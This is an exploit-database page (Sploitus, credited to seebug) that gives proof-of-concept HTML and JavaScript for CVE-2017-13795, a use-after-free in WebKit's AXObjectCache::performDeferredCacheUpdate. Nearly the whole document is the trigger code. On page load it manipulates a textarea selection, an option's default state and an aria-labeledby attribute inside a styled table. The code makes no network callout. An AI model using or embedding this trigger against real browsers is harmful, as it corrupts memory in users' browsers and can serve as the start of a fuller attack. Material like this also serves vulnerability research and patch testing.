Sploitus

Exploit for WebKit: use-after-free in WebCore::AXObjectCache::performDeferredCacheUpdate

CVE-2017-13795

seebug · 2017-11-23

Exploit Code

MARKDOWN21 lines
## https://sploitus.com/exploit?id=SSV:96886
<style>
#colgrp { display: table-footer-group; }
.class1 { text-transform: capitalize; display: -webkit-box; }
</style>
<script>
function go() {
  textarea.setSelectionRange(30,1);
  option.defaultSelected = true;
  col.setAttribute("aria-labeledby", "link");
}
</script>
<body onload=go()>
<link id="link">
<table>
<colgroup id="colgrp">
<col id="col" tabindex="1"></col>
<thead class="class1">
<th class="class1">
<textarea id="textarea" readonly="readonly"></textarea>
<option id="option"></option>